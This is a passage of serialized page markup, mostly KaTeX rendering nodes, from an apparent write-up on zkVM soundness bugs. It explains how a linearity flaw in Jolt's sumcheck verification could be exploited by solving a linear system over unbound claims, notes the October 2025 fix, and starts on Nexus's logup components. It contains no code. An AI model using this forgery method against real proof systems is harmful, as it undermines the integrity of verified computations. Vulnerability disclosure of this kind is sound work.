5273],[126012,126017,126074,126078,126136,126140,126145],{"type":23,"tag":75,"props":126013,"children":126016},{"className":126014,"style":126015},[15278],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":23,"tag":75,"props":126018,"children":126020},{"className":126019},[32839],[126021,126026],{"type":23,"tag":75,"props":126022,"children":126024},{"className":126023,"style":32846},[32839,32844,32845],[126025],{"type":29,"value":119177},{"type":23,"tag":75,"props":126027,"children":126029},{"className":126028},[15299],[126030],{"type":23,"tag":75,"props":126031,"children":126033},{"className":126032},[15304,32857],[126034,126063],{"type":23,"tag":75,"props":126035,"children":126037},{"className":126036},[15309],[126038,126058],{"type":23,"tag":75,"props":126039,"children":126041},{"className":126040,"style":124589},[15314],[126042],{"type":23,"tag":75,"props":126043,"children":126044},{"style":32870},[126045,126049],{"type":23,"tag":75,"props":126046,"children":126048},{"className":126047,"style":15324},[15323],[],{"type":23,"tag":75,"props":126050,"children":126052},{"className":126051},[15329,15330,15331,15332],[126053],{"type":23,"tag":75,"props":126054,"children":126056},{"className":126055},[15284,32803,15332],[126057],{"type":29,"value":12935},{"type":23,"tag":75,"props":126059,"children":126061},{"className":126060},[32960],[126062],{"type":29,"value":32963},{"type":23,"tag":75,"props":126064,"children":126066},{"className":126065},[15309],[126067],{"type":23,"tag":75,"props":126068,"children":126070},{"className":126069,"style":124869},[15314],[126071],{"type":23,"tag":75,"props":126072,"children":126073},{},[],{"type":23,"tag":75,"props":126075,"children":126077},{"className":126076,"style":15402},[15363],[],{"type":23,"tag":75,"props":126079,"children":126081},{"className":126080},[15284],[126082,126087],{"type":23,"tag":75,"props":126083,"children":126085},{"className":126084,"style":125470},[15284,32803],[126086],{"type":29,"value":125473},{"type":23,"tag":75,"props":126088,"children":126090},{"className":126089},[15299],[126091],{"type":23,"tag":75,"props":126092,"children":126094},{"className":126093},[15304,32857],[126095,126125],{"type":23,"tag":75,"props":126096,"children":126098},{"className":126097},[15309],[126099,126120],{"type":23,"tag":75,"props":126100,"children":126102},{"className":126101,"style":103911},[15314],[126103],{"type":23,"tag":75,"props":126104,"children":126106},{"style":126105},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[126107,126111],{"type":23,"tag":75,"props":126108,"children":126110},{"className":126109,"style":15324},[15323],[],{"type":23,"tag":75,"props":126112,"children":126114},{"className":126113},[15329,15330,15331,15332],[126115],{"type":23,"tag":75,"props":126116,"children":126118},{"className":126117},[15284,32803,15332],[126119],{"type":29,"value":12935},{"type":23,"tag":75,"props":126121,"children":126123},{"className":126122},[32960],[126124],{"type":29,"value":32963},{"type":23,"tag":75,"props":126126,"children":126128},{"className":126127},[15309],[126129],{"type":23,"tag":75,"props":126130,"children":126132},{"className":126131,"style":103465},[15314],[126133],{"type":23,"tag":75,"props":126134,"children":126135},{},[],{"type":23,"tag":75,"props":126137,"children":126139},{"className":126138,"style":15364},[15363],[],{"type":23,"tag":75,"props":126141,"children":126143},{"className":126142},[15369],[126144],{"type":29,"value":121644},{"type":23,"tag":75,"props":126146,"children":126148},{"className":126147,"style":15364},[15363],[],{"type":23,"tag":75,"props":126150,"children":126152},{"className":126151},[15273],[126153,126157],{"type":23,"tag":75,"props":126154,"children":126156},{"className":126155,"style":121379},[15278],[],{"type":23,"tag":75,"props":126158,"children":126160},{"className":126159},[15284],[126161,126166],{"type":23,"tag":75,"props":126162,"children":126164},{"className":126163,"style":103616},[15284,32803],[126165],{"type":29,"value":103619},{"type":23,"tag":75,"props":126167,"children":126169},{"className":126168},[15299],[126170],{"type":23,"tag":75,"props":126171,"children":126173},{"className":126172},[15304,32857],[126174,126203],{"type":23,"tag":75,"props":126175,"children":126177},{"className":126176},[15309],[126178,126198],{"type":23,"tag":75,"props":126179,"children":126181},{"className":126180,"style":103911},[15314],[126182],{"type":23,"tag":75,"props":126183,"children":126184},{"style":120811},[126185,126189],{"type":23,"tag":75,"props":126186,"children":126188},{"className":126187,"style":15324},[15323],[],{"type":23,"tag":75,"props":126190,"children":126192},{"className":126191},[15329,15330,15331,15332],[126193],{"type":23,"tag":75,"props":126194,"children":126196},{"className":126195},[15284,32803,15332],[126197],{"type":29,"value":12935},{"type":23,"tag":75,"props":126199,"children":126201},{"className":126200},[32960],[126202],{"type":29,"value":32963},{"type":23,"tag":75,"props":126204,"children":126206},{"className":126205},[15309],[126207],{"type":23,"tag":75,"props":126208,"children":126210},{"className":126209,"style":103465},[15314],[126211],{"type":23,"tag":75,"props":126212,"children":126213},{},[],{"type":23,"tag":32,"props":126215,"children":126216},{},[126217,126219,126296,126298,126303,126305,126382,126384,126461,126463,126540],{"type":29,"value":126218},"where ",{"type":23,"tag":71,"props":126220,"children":126222},{"className":126221},[15256,15257],[126223],{"type":23,"tag":75,"props":126224,"children":126226},{"className":126225},[15262],[126227],{"type":23,"tag":75,"props":126228,"children":126230},{"className":126229,"ariaHidden":15268},[15267],[126231],{"type":23,"tag":75,"props":126232,"children":126234},{"className":126233},[15273],[126235,126239],{"type":23,"tag":75,"props":126236,"children":126238},{"className":126237,"style":120352},[15278],[],{"type":23,"tag":75,"props":126240,"children":126242},{"className":126241},[15284],[126243,126248],{"type":23,"tag":75,"props":126244,"children":126246},{"className":126245,"style":125470},[15284,32803],[126247],{"type":29,"value":125473},{"type":23,"tag":75,"props":126249,"children":126251},{"className":126250},[15299],[126252],{"type":23,"tag":75,"props":126253,"children":126255},{"className":126254},[15304,32857],[126256,126285],{"type":23,"tag":75,"props":126257,"children":126259},{"className":126258},[15309],[126260,126280],{"type":23,"tag":75,"props":126261,"children":126263},{"className":126262,"style":103911},[15314],[126264],{"type":23,"tag":75,"props":126265,"children":126266},{"style":126105},[126267,126271],{"type":23,"tag":75,"props":126268,"children":126270},{"className":126269,"style":15324},[15323],[],{"type":23,"tag":75,"props":126272,"children":126274},{"className":126273},[15329,15330,15331,15332],[126275],{"type":23,"tag":75,"props":126276,"children":126278},{"className":126277},[15284,32803,15332],[126279],{"type":29,"value":12935},{"type":23,"tag":75,"props":126281,"children":126283},{"className":126282},[32960],[126284],{"type":29,"value":32963},{"type":23,"tag":75,"props":126286,"children":126288},{"className":126287},[15309],[126289],{"type":23,"tag":75,"props":126290,"children":126292},{"className":126291,"style":103465},[15314],[126293],{"type":23,"tag":75,"props":126294,"children":126295},{},[],{"type":29,"value":126297}," are random coefficients derived from the transcript. Since ",{"type":23,"tag":71,"props":126299,"children":126301},{"className":126300},[],[126302],{"type":29,"value":125846},{"type":29,"value":126304}," (containing ",{"type":23,"tag":71,"props":126306,"children":126308},{"className":126307},[15256,15257],[126309],{"type":23,"tag":75,"props":126310,"children":126312},{"className":126311},[15262],[126313],{"type":23,"tag":75,"props":126314,"children":126316},{"className":126315,"ariaHidden":15268},[15267],[126317],{"type":23,"tag":75,"props":126318,"children":126320},{"className":126319},[15273],[126321,126325],{"type":23,"tag":75,"props":126322,"children":126324},{"className":126323,"style":121379},[15278],[],{"type":23,"tag":75,"props":126326,"children":126328},{"className":126327},[15284],[126329,126334],{"type":23,"tag":75,"props":126330,"children":126332},{"className":126331,"style":103616},[15284,32803],[126333],{"type":29,"value":103619},{"type":23,"tag":75,"props":126335,"children":126337},{"className":126336},[15299],[126338],{"type":23,"tag":75,"props":126339,"children":126341},{"className":126340},[15304,32857],[126342,126371],{"type":23,"tag":75,"props":126343,"children":126345},{"className":126344},[15309],[126346,126366],{"type":23,"tag":75,"props":126347,"children":126349},{"className":126348,"style":103911},[15314],[126350],{"type":23,"tag":75,"props":126351,"children":126352},{"style":120811},[126353,126357],{"type":23,"tag":75,"props":126354,"children":126356},{"className":126355,"style":15324},[15323],[],{"type":23,"tag":75,"props":126358,"children":126360},{"className":126359},[15329,15330,15331,15332],[126361],{"type":23,"tag":75,"props":126362,"children":126364},{"className":126363},[15284,32803,15332],[126365],{"type":29,"value":12935},{"type":23,"tag":75,"props":126367,"children":126369},{"className":126368},[32960],[126370],{"type":29,"value":32963},{"type":23,"tag":75,"props":126372,"children":126374},{"className":126373},[15309],[126375],{"type":23,"tag":75,"props":126376,"children":126378},{"className":126377,"style":103465},[15314],[126379],{"type":23,"tag":75,"props":126380,"children":126381},{},[],{"type":29,"value":126383},") were not in the transcript, the ",{"type":23,"tag":71,"props":126385,"children":126387},{"className":126386},[15256,15257],[126388],{"type":23,"tag":75,"props":126389,"children":126391},{"className":126390},[15262],[126392],{"type":23,"tag":75,"props":126393,"children":126395},{"className":126394,"ariaHidden":15268},[15267],[126396],{"type":23,"tag":75,"props":126397,"children":126399},{"className":126398},[15273],[126400,126404],{"type":23,"tag":75,"props":126401,"children":126403},{"className":126402,"style":120352},[15278],[],{"type":23,"tag":75,"props":126405,"children":126407},{"className":126406},[15284],[126408,126413],{"type":23,"tag":75,"props":126409,"children":126411},{"className":126410,"style":125470},[15284,32803],[126412],{"type":29,"value":125473},{"type":23,"tag":75,"props":126414,"children":126416},{"className":126415},[15299],[126417],{"type":23,"tag":75,"props":126418,"children":126420},{"className":126419},[15304,32857],[126421,126450],{"type":23,"tag":75,"props":126422,"children":126424},{"className":126423},[15309],[126425,126445],{"type":23,"tag":75,"props":126426,"children":126428},{"className":126427,"style":103911},[15314],[126429],{"type":23,"tag":75,"props":126430,"children":126431},{"style":126105},[126432,126436],{"type":23,"tag":75,"props":126433,"children":126435},{"className":126434,"style":15324},[15323],[],{"type":23,"tag":75,"props":126437,"children":126439},{"className":126438},[15329,15330,15331,15332],[126440],{"type":23,"tag":75,"props":126441,"children":126443},{"className":126442},[15284,32803,15332],[126444],{"type":29,"value":12935},{"type":23,"tag":75,"props":126446,"children":126448},{"className":126447},[32960],[126449],{"type":29,"value":32963},{"type":23,"tag":75,"props":126451,"children":126453},{"className":126452},[15309],[126454],{"type":23,"tag":75,"props":126455,"children":126457},{"className":126456,"style":103465},[15314],[126458],{"type":23,"tag":75,"props":126459,"children":126460},{},[],{"type":29,"value":126462}," values are independent of ",{"type":23,"tag":71,"props":126464,"children":126466},{"className":126465},[15256,15257],[126467],{"type":23,"tag":75,"props":126468,"children":126470},{"className":126469},[15262],[126471],{"type":23,"tag":75,"props":126472,"children":126474},{"className":126473,"ariaHidden":15268},[15267],[126475],{"type":23,"tag":75,"props":126476,"children":126478},{"className":126477},[15273],[126479,126483],{"type":23,"tag":75,"props":126480,"children":126482},{"className":126481,"style":121379},[15278],[],{"type":23,"tag":75,"props":126484,"children":126486},{"className":126485},[15284],[126487,126492],{"type":23,"tag":75,"props":126488,"children":126490},{"className":126489,"style":103616},[15284,32803],[126491],{"type":29,"value":103619},{"type":23,"tag":75,"props":126493,"children":126495},{"className":126494},[15299],[126496],{"type":23,"tag":75,"props":126497,"children":126499},{"className":126498},[15304,32857],[126500,126529],{"type":23,"tag":75,"props":126501,"children":126503},{"className":126502},[15309],[126504,126524],{"type":23,"tag":75,"props":126505,"children":126507},{"className":126506,"style":103911},[15314],[126508],{"type":23,"tag":75,"props":126509,"children":126510},{"style":120811},[126511,126515],{"type":23,"tag":75,"props":126512,"children":126514},{"className":126513,"style":15324},[15323],[],{"type":23,"tag":75,"props":126516,"children":126518},{"className":126517},[15329,15330,15331,15332],[126519],{"type":23,"tag":75,"props":126520,"children":126522},{"className":126521},[15284,32803,15332],[126523],{"type":29,"value":12935},{"type":23,"tag":75,"props":126525,"children":126527},{"className":126526},[32960],[126528],{"type":29,"value":32963},{"type":23,"tag":75,"props":126530,"children":126532},{"className":126531},[15309],[126533],{"type":23,"tag":75,"props":126534,"children":126536},{"className":126535,"style":103465},[15314],[126537],{"type":23,"tag":75,"props":126538,"children":126539},{},[],{"type":29,"value":557},{"type":23,"tag":32,"props":126542,"children":126543},{},[126544],{"type":23,"tag":16596,"props":126545,"children":126546},{},[126547],{"type":29,"value":126548},"Why it's linear:",{"type":23,"tag":32,"props":126550,"children":126551},{},[126552,126554],{"type":29,"value":126553},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":23,"tag":71,"props":126555,"children":126557},{"className":126556},[15256,15257],[126558],{"type":23,"tag":75,"props":126559,"children":126561},{"className":126560},[15262],[126562],{"type":23,"tag":75,"props":126563,"children":126565},{"className":126564,"ariaHidden":15268},[15267],[126566],{"type":23,"tag":75,"props":126567,"children":126569},{"className":126568},[15273],[126570,126574],{"type":23,"tag":75,"props":126571,"children":126573},{"className":126572,"style":32798},[15278],[],{"type":23,"tag":75,"props":126575,"children":126577},{"className":126576,"style":103616},[15284,32803],[126578],{"type":29,"value":103619},{"type":23,"tag":32,"props":126580,"children":126581},{},[126582],{"type":23,"tag":71,"props":126583,"children":126585},{"className":126584},[15256,15257],[126586],{"type":23,"tag":75,"props":126587,"children":126589},{"className":126588},[15262],[126590],{"type":23,"tag":75,"props":126591,"children":126593},{"className":126592,"ariaHidden":15268},[15267],[126594,126684,126710,126736],{"type":23,"tag":75,"props":126595,"children":126597},{"className":126596},[15273],[126598,126602,126671,126675,126680],{"type":23,"tag":75,"props":126599,"children":126601},{"className":126600,"style":121379},[15278],[],{"type":23,"tag":75,"props":126603,"children":126605},{"className":126604},[15284],[126606,126612],{"type":23,"tag":75,"props":126607,"children":126609},{"className":126608,"style":33334},[15284,32803],[126610],{"type":29,"value":126611},"C",{"type":23,"tag":75,"props":126613,"children":126615},{"className":126614},[15299],[126616],{"type":23,"tag":75,"props":126617,"children":126619},{"className":126618},[15304,32857],[126620,126660],{"type":23,"tag":75,"props":126621,"children":126623},{"className":126622},[15309],[126624,126655],{"type":23,"tag":75,"props":126625,"children":126628},{"className":126626,"style":126627},[15314],"height:0.3361em;",[126629],{"type":23,"tag":75,"props":126630,"children":126632},{"style":126631},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[126633,126637],{"type":23,"tag":75,"props":126634,"children":126636},{"className":126635,"style":15324},[15323],[],{"type":23,"tag":75,"props":126638,"children":126640},{"className":126639},[15329,15330,15331,15332],[126641],{"type":23,"tag":75,"props":126642,"children":126644},{"className":126643},[15284,15332],[126645],{"type":23,"tag":75,"props":126646,"children":126648},{"className":126647},[15284,29,15332],[126649],{"type":23,"tag":75,"props":126650,"children":126652},{"className":126651},[15284,15332],[126653],{"type":29,"value":126654},"final",{"type":23,"tag":75,"props":126656,"children":126658},{"className":126657},[32960],[126659],{"type":29,"value":32963},{"type":23,"tag":75,"props":126661,"children":126663},{"className":126662},[15309],[126664],{"type":23,"tag":75,"props":126665,"children":126667},{"className":126666,"style":103465},[15314],[126668],{"type":23,"tag":75,"props":126669,"children":126670},{},[],{"type":23,"tag":75,"props":126672,"children":126674},{"className":126673,"style":15461},[15363],[],{"type":23,"tag":75,"props":126676,"children":126678},{"className":126677},[15466],[126679],{"type":29,"value":212},{"type":23,"tag":75,"props":126681,"children":126683},{"className":126682,"style":15461},[15363],[],{"type":23,"tag":75,"props":126685,"children":126687},{"className":126686},[15273],[126688,126692,126697,126701,126706],{"type":23,"tag":75,"props":126689,"children":126691},{"className":126690,"style":125465},[15278],[],{"type":23,"tag":75,"props":126693,"children":126695},{"className":126694},[15284,32803],[126696],{"type":29,"value":940},{"type":23,"tag":75,"props":126698,"children":126700},{"className":126699,"style":15364},[15363],[],{"type":23,"tag":75,"props":126702,"children":126704},{"className":126703},[15369],[126705],{"type":29,"value":121644},{"type":23,"tag":75,"props":126707,"children":126709},{"className":126708,"style":15364},[15363],[],{"type":23,"tag":75,"props":126711,"children":126713},{"className":126712},[15273],[126714,126718,126723,126727,126732],{"type":23,"tag":75,"props":126715,"children":126717},{"className":126716,"style":125494},[15278],[],{"type":23,"tag":75,"props":126719,"children":126721},{"className":126720,"style":103616},[15284,32803],[126722],{"type":29,"value":103619},{"type":23,"tag":75,"props":126724,"children":126726},{"className":126725,"style":15364},[15363],[],{"type":23,"tag":75,"props":126728,"children":126730},{"className":126729},[15369],[126731],{"type":29,"value":7862},{"type":23,"tag":75,"props":126733,"children":126735},{"className":126734,"style":15364},[15363],[],{"type":23,"tag":75,"props":126737,"children":126739},{"className":126738},[15273],[126740,126744],{"type":23,"tag":75,"props":126741,"children":126743},{"className":126742,"style":103297},[15278],[],{"type":23,"tag":75,"props":126745,"children":126747},{"className":126746},[15284,32803],[126748],{"type":29,"value":14507},{"type":23,"tag":32,"props":126750,"children":126751},{},[126752,126753,126792,126794,126819,126821,126951,126953,127074],{"type":29,"value":126218},{"type":23,"tag":71,"props":126754,"children":126756},{"className":126755},[15256,15257],[126757],{"type":23,"tag":75,"props":126758,"children":126760},{"className":126759},[15262],[126761],{"type":23,"tag":75,"props":126762,"children":126764},{"className":126763,"ariaHidden":15268},[15267],[126765],{"type":23,"tag":75,"props":126766,"children":126768},{"className":126767},[15273],[126769,126773,126778,126783,126787],{"type":23,"tag":75,"props":126770,"children":126772},{"className":126771,"style":125437},[15278],[],{"type":23,"tag":75,"props":126774,"children":126776},{"className":126775},[15284,32803],[126777],{"type":29,"value":940},{"type":23,"tag":75,"props":126779,"children":126781},{"className":126780},[15395],[126782],{"type":29,"value":15398},{"type":23,"tag":75,"props":126784,"children":126786},{"className":126785,"style":15402},[15363],[],{"type":23,"tag":75,"props":126788,"children":126790},{"className":126789},[15284,32803],[126791],{"type":29,"value":14507},{"type":29,"value":126793}," are determined by the transcript (independent of ",{"type":23,"tag":71,"props":126795,"children":126797},{"className":126796},[15256,15257],[126798],{"type":23,"tag":75,"props":126799,"children":126801},{"className":126800},[15262],[126802],{"type":23,"tag":75,"props":126803,"children":126805},{"className":126804,"ariaHidden":15268},[15267],[126806],{"type":23,"tag":75,"props":126807,"children":126809},{"className":126808},[15273],[126810,126814],{"type":23,"tag":75,"props":126811,"children":126813},{"className":126812,"style":32798},[15278],[],{"type":23,"tag":75,"props":126815,"children":126817},{"className":126816,"style":103616},[15284,32803],[126818],{"type":29,"value":103619},{"type":29,"value":126820},"). The verifier checks that ",{"type":23,"tag":71,"props":126822,"children":126824},{"className":126823},[15256,15257],[126825],{"type":23,"tag":75,"props":126826,"children":126828},{"className":126827},[15262],[126829],{"type":23,"tag":75,"props":126830,"children":126832},{"className":126831,"ariaHidden":15268},[15267],[126833,126919],{"type":23,"tag":75,"props":126834,"children":126836},{"className":126835},[15273],[126837,126841,126906,126910,126915],{"type":23,"tag":75,"props":126838,"children":126840},{"className":126839,"style":121379},[15278],[],{"type":23,"tag":75,"props":126842,"children":126844},{"className":126843},[15284],[126845,126850],{"type":23,"tag":75,"props":126846,"children":126848},{"className":126847,"style":33334},[15284,32803],[126849],{"type":29,"value":126611},{"type":23,"tag":75,"props":126851,"children":126853},{"className":126852},[15299],[126854],{"type":23,"tag":75,"props":126855,"children":126857},{"className":126856},[15304,32857],[126858,126895],{"type":23,"tag":75,"props":126859,"children":126861},{"className":126860},[15309],[126862,126890],{"type":23,"tag":75,"props":126863,"children":126865},{"className":126864,"style":126627},[15314],[126866],{"type":23,"tag":75,"props":126867,"children":126868},{"style":126631},[126869,126873],{"type":23,"tag":75,"props":126870,"children":126872},{"className":126871,"style":15324},[15323],[],{"type":23,"tag":75,"props":126874,"children":126876},{"className":126875},[15329,15330,15331,15332],[126877],{"type":23,"tag":75,"props":126878,"children":126880},{"className":126879},[15284,15332],[126881],{"type":23,"tag":75,"props":126882,"children":126884},{"className":126883},[15284,29,15332],[126885],{"type":23,"tag":75,"props":126886,"children":126888},{"className":126887},[15284,15332],[126889],{"type":29,"value":126654},{"type":23,"tag":75,"props":126891,"children":126893},{"className":126892},[32960],[126894],{"type":29,"value":32963},{"type":23,"tag":75,"props":126896,"children":126898},{"className":126897},[15309],[126899],{"type":23,"tag":75,"props":126900,"children":126902},{"className":126901,"style":103465},[15314],[126903],{"type":23,"tag":75,"props":126904,"children":126905},{},[],{"type":23,"tag":75,"props":126907,"children":126909},{"className":126908,"style":15461},[15363],[],{"type":23,"tag":75,"props":126911,"children":126913},{"className":126912},[15466],[126914],{"type":29,"value":212},{"type":23,"tag":75,"props":126916,"children":126918},{"className":126917,"style":15461},[15363],[],{"type":23,"tag":75,"props":126920,"children":126922},{"className":126921},[15273],[126923,126927,126937,126942],{"type":23,"tag":75,"props":126924,"children":126926},{"className":126925,"style":104795},[15278],[],{"type":23,"tag":75,"props":126928,"children":126930},{"className":126929},[15284,29],[126931],{"type":23,"tag":75,"props":126932,"children":126934},{"className":126933},[15284],[126935],{"type":29,"value":126936},"expected",{"type":23,"tag":75,"props":126938,"children":126940},{"className":126939,"style":103382},[15284],[126941],{"type":29,"value":14370},{"type":23,"tag":75,"props":126943,"children":126945},{"className":126944},[15284,29],[126946],{"type":23,"tag":75,"props":126947,"children":126949},{"className":126948},[15284],[126950],{"type":29,"value":48739},{"type":29,"value":126952}," (from PCS opening), this becomes ",{"type":23,"tag":71,"props":126954,"children":126956},{"className":126955},[15256,15257],[126957],{"type":23,"tag":75,"props":126958,"children":126960},{"className":126959},[15262],[126961],{"type":23,"tag":75,"props":126962,"children":126964},{"className":126963,"ariaHidden":15268},[15267],[126965,126991,127017,127043],{"type":23,"tag":75,"props":126966,"children":126968},{"className":126967},[15273],[126969,126973,126978,126982,126987],{"type":23,"tag":75,"props":126970,"children":126972},{"className":126971,"style":125465},[15278],[],{"type":23,"tag":75,"props":126974,"children":126976},{"className":126975},[15284,32803],[126977],{"type":29,"value":940},{"type":23,"tag":75,"props":126979,"children":126981},{"className":126980,"style":15364},[15363],[],{"type":23,"tag":75,"props":126983,"children":126985},{"className":126984},[15369],[126986],{"type":29,"value":121644},{"type":23,"tag":75,"props":126988,"children":126990},{"className":126989,"style":15364},[15363],[],{"type":23,"tag":75,"props":126992,"children":126994},{"className":126993},[15273],[126995,126999,127004,127008,127013],{"type":23,"tag":75,"props":126996,"children":126998},{"className":126997,"style":125494},[15278],[],{"type":23,"tag":75,"props":127000,"children":127002},{"className":127001,"style":103616},[15284,32803],[127003],{"type":29,"value":103619},{"type":23,"tag":75,"props":127005,"children":127007},{"className":127006,"style":15364},[15363],[],{"type":23,"tag":75,"props":127009,"children":127011},{"className":127010},[15369],[127012],{"type":29,"value":7862},{"type":23,"tag":75,"props":127014,"children":127016},{"className":127015,"style":15364},[15363],[],{"type":23,"tag":75,"props":127018,"children":127020},{"className":127019},[15273],[127021,127025,127030,127034,127039],{"type":23,"tag":75,"props":127022,"children":127024},{"className":127023,"style":103297},[15278],[],{"type":23,"tag":75,"props":127026,"children":127028},{"className":127027},[15284,32803],[127029],{"type":29,"value":14507},{"type":23,"tag":75,"props":127031,"children":127033},{"className":127032,"style":15461},[15363],[],{"type":23,"tag":75,"props":127035,"children":127037},{"className":127036},[15466],[127038],{"type":29,"value":212},{"type":23,"tag":75,"props":127040,"children":127042},{"className":127041,"style":15461},[15363],[],{"type":23,"tag":75,"props":127044,"children":127046},{"className":127045},[15273],[127047,127051,127060,127065],{"type":23,"tag":75,"props":127048,"children":127050},{"className":127049,"style":104795},[15278],[],{"type":23,"tag":75,"props":127052,"children":127054},{"className":127053},[15284,29],[127055],{"type":23,"tag":75,"props":127056,"children":127058},{"className":127057},[15284],[127059],{"type":29,"value":126936},{"type":23,"tag":75,"props":127061,"children":127063},{"className":127062,"style":103382},[15284],[127064],{"type":29,"value":14370},{"type":23,"tag":75,"props":127066,"children":127068},{"className":127067},[15284,29],[127069],{"type":23,"tag":75,"props":127070,"children":127072},{"className":127071},[15284],[127073],{"type":29,"value":48739},{"type":29,"value":557},{"type":23,"tag":32,"props":127076,"children":127077},{},[127078],{"type":29,"value":127079},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":23,"tag":32,"props":127081,"children":127082},{},[127083],{"type":29,"value":127084},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":23,"tag":32,"props":127086,"children":127087},{},[127088,127093,127095],{"type":23,"tag":16596,"props":127089,"children":127090},{},[127091],{"type":29,"value":127092},"Status:",{"type":29,"value":127094}," Fixed on October 3, 2025 via ",{"type":23,"tag":940,"props":127096,"children":127099},{"href":127097,"rel":127098},"https://github.com/a16z/jolt/pull/981",[944],[127100],{"type":29,"value":127101},"PR #981",{"type":23,"tag":30016,"props":127103,"children":127104},{},[],{"type":23,"tag":923,"props":127106,"children":127108},{"id":127107},"nexus",[127109],{"type":29,"value":118201},{"type":23,"tag":32,"props":127111,"children":127112},{},[127113],{"type":29,"value":127114},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":23,"tag":32,"props":127116,"children":127117},{},[127118,127120,127125],{"type":29,"value":127119},"Nexus splits verification into ",{"type":23,"tag":16596,"props":127121,"children":127122},{},[127123],{"type":29,"value":127124},"components",{"type":29,"value":127126}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":23,"tag":32,"props":127128,"children":127129},{},[127130,127132,127137],{"type":29,"value":127131},"Each component emits and consumes lookup tuples. The component's ",{"type":23,"tag":71,"props":127133,"children":127135},{"className":127134},[],[127136],{"type":29,"value":125246},{"type":29,"value":127138}," summarizes its net contribution:",{"type":23,"tag":32,"props":127140,"children":127141},{},[127142],{"type":23,"tag":71,"props":127143,"children":127145},{"className":127144},[15256,15257],[127146],{"type":23,"tag":75,"props":127147,"children":127149},{"className":127148},[15262],[127150],{"type":23,"tag":75,"props":127151,"children":127153},{"className":127152,"ariaHidden":15268},[15267],[127154,127250,127499],{"type":23,"tag":75,"props":127155,"children":127157},{"className":127156},[15273],[127158,127162,127171,127176,127237,127241,127246],{"type":23,"tag":75,"props":127159,"children":127161},{"className":127160,"style":104795},[15278],[],{"type":23,"tag":75,"props":127163,"children":127165},{"className":127164},[15284,29],[127166],{"type":23,"tag":75,"props":127167,"children":127169},{"className":127168},[15284],[127170],{"type":29,"value":124475},{"type":23,"tag":75,"props":127172,"children":127174},{"className":127173,"style":103382},[15284],[127175],{"type":29,"value":14370},{"type":23,"tag":75,"props":127177,"children":127179},{"className":127178},[15284],[127180,127189],{"type":23,"tag":75,"props":127181,"children":127183},{"className":127182},[15284,29],[127184],{"type":23,"tag":75,"props":127185,"children":127187},{"className":127186},[15284],[127188],{"type":29,"value":868},{"type":23,"tag":75,"props":127190,"children":127192},{"className":127191},[15299],[127193],{"type":23,"tag":75,"props":127194,"children":127196},{"className":127195},[15304,32857],[127197,127226],{"type":23,"tag":75,"props":127198,"children":127200},{"className":127199},[15309],[127201,127221],{"type":23,"tag":75,"props":127202,"children":127204},{"className":127203,"style":103911},[15314],[127205],{"type":23,"tag":75,"props":127206,"children":127207},{"style":124512},[127208,127212],{"type":23,"tag":75,"props":127209,"children":127211},{"className":127210,"style":15324},[15323],[],{"type":23,"tag":75,"props":127213,"children":127215},{"className":127214},[15329,15330,15331,15332],[127216],{"type":23,"tag":75,"props":127217,"children":127219},{"className":127218},[15284,32803,15332],[127220],{"type":29,"value":12935},{"type":23,"tag":75,"props":127222,"children":127224},{"className":127223},[32960],[127225],{"type":29,"value":32963},{"type":23,"tag":75,"props":127227,"children":127229},{"className":127228},[15309],[127230],{"type":23,"tag":75,"props":127231,"children":127233},{"className":127232,"style":103465},[15314],[127234],{"type":23,"tag":75,"props":127235,"children":127236},{},[],{"type":23,"tag":75,"props":127238,"children":127240},{"className":127239,"style":15461},[15363],[],{"type":23,"tag":75,"props":127242,"children":127244},{"className":127243},[15466],[127245],{"type":29,"value":212},{"type":23,"tag":75,"props":127247,"children":127249},{"className":127248,"style":15461},[15363],[],{"type":23,"tag":75,"props":127251,"children":127253},{"className":127252},[15273],[127254,127259,127316,127320,127486,127490,127495],{"type":23,"tag":75,"props":127255,"children":127258},{"className":127256,"style":127257},[15278],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":23,"tag":75,"props":127260,"children":127262},{"className":127261},[32839],[127263,127268],{"type":23,"tag":75,"props":127264,"children":127266},{"className":127265,"style":32846},[32839,32844,32845],[127267],{"type":29,"value":119177},{"type":23,"tag":75,"props":127269,"children":127271},{"className":127270},[15299],[127272],{"type":23,"tag":75,"props":127273,"children":127275},{"className":127274},[15304,32857],[127276,127305],{"type":23,"tag":75,"props":127277,"children":127279},{"className":127278},[15309],[127280,127300],{"type":23,"tag":75,"props":127281,"children":127283},{"className":127282,"style":124589},[15314],[127284],{"type":23,"tag":75,"props":127285,"children":127286},{"style":32870},[127287,127291],{"type":23,"tag":75,"props":127288,"children":127290},{"className":127289,"style":15324},[15323],[],{"type":23,"tag":75,"props":127292,"children":127294},{"className":127293},[15329,15330,15331,15332],[127295],{"type":23,"tag":75,"props":127296,"children":127298},{"className":127297,"style":124605},[15284,32803,15332],[127299],{"type":29,"value":19913},{"type":23,"tag":75,"props":127301,"children":127303},{"className":127302},[32960],[127304],{"type":29,"value":32963},{"type":23,"tag":75,"props":127306,"children":127308},{"className":127307},[15309],[127309],{"type":23,"tag":75,"props":127310,"children":127312},{"className":127311,"style":124620},[15314],[127313],{"type":23,"tag":75,"props":127314,"children":127315},{},[],{"type":23,"tag":75,"props":127317,"children":127319},{"className":127318,"style":15402},[15363],[],{"type":23,"tag":75,"props":127321,"children":127323},{"className":127322},[15284],[127324,127328,127482],{"type":23,"tag":75,"props":127325,"children":127327},{"className":127326},[32932,123900],[],{"type":23,"tag":75,"props":127329,"children":127331},{"className":127330},[123905],[127332],{"type":23,"tag":75,"props":127333,"children":127335},{"className":127334},[15304,32857],[127336,127470],{"type":23,"tag":75,"props":127337,"children":127339},{"className":127338},[15309],[127340,127465],{"type":23,"tag":75,"props":127341,"children":127343},{"className":127342,"style":123918},[15314],[127344,127434,127445],{"type":23,"tag":75,"props":127345,"children":127346},{"style":123922},[127347,127351],{"type":23,"tag":75,"props":127348,"children":127350},{"className":127349,"style":122553},[15323],[],{"type":23,"tag":75,"props":127352,"children":127354},{"className":127353},[15329,15330,15331,15332],[127355],{"type":23,"tag":75,"props":127356,"c